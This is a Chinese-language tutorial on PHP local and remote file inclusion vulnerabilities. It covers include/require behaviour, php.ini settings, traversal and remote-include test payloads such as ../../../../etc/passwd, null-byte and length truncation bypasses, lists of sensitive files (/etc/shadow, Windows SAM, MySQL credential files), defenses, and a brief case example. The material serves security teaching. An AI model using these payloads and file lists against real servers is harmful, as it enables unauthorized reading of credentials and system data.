文件包含概念
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当 PHP来执行,这会为开发者节省大量的时间。
为什么会造成文件包含漏洞
文件包含就是将一个文件包含到自己的文件中执行。它可分为本地包含和远程包含,本地包 含即包含本地磁盘上的文件,文件名称是相对路径或绝对路径,远程包含即包含互联网上的 文件,文件名称是 URL。
文件包含原理
是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验, 从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
原理演示
文件包含的函数
1、include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生 错误时只给出一个警告,继续向下执行
2、include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
3、requier():使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错 误,函数或输出错误信息,并终止脚本运行
4、require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
文件包含分类
本地文件包含:包含本地主机上的文件(WEB服务器),文件名称是相对路径或者绝对路径
远程文件包含:包含互联网上的文件,文件名称为URL格式,危害大 。
注:而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_ url_ include. 如果开启就有可能包含远程文件。
与文件包含相关的配置文件
allow_url_fopen = on (默认开启) #允许打开URL文件
allow_url_include = on (默认关闭) #允许引用URL文件
包含的特征
?page=a.php
?home=b.html
?file=content
检测方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
绕过手法
1、%00截断:此方法要求php版本<5.3.4
2、长度截断:windows,点号需要长于250;linux,点号需要长于4096
3、点号截断:仅适用于Windows操作系统,且要求PHP版本低于5.2.8。通过在文件路径中重复放置点号来绕过长度限制。
4、问号截断:这种方法的前提条件未知,但可以尝试在PHP版本大于5.3的情况下使用。
常见的敏感信息
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
防御
1、allow_url_include和allow_url_fopen关闭;
2、对用户包含的文件进行限制,如白名单、open_basedir;
3、检查用户输入;
4、检查变量是否初始化;
5、关键的过滤在服务器端进行;
案列
通过使用参数‘q’,来查询本地文件。
https://xxx.xxx.xxx.xxx/?q=./gibbon.sql,得出端口以及版本号等等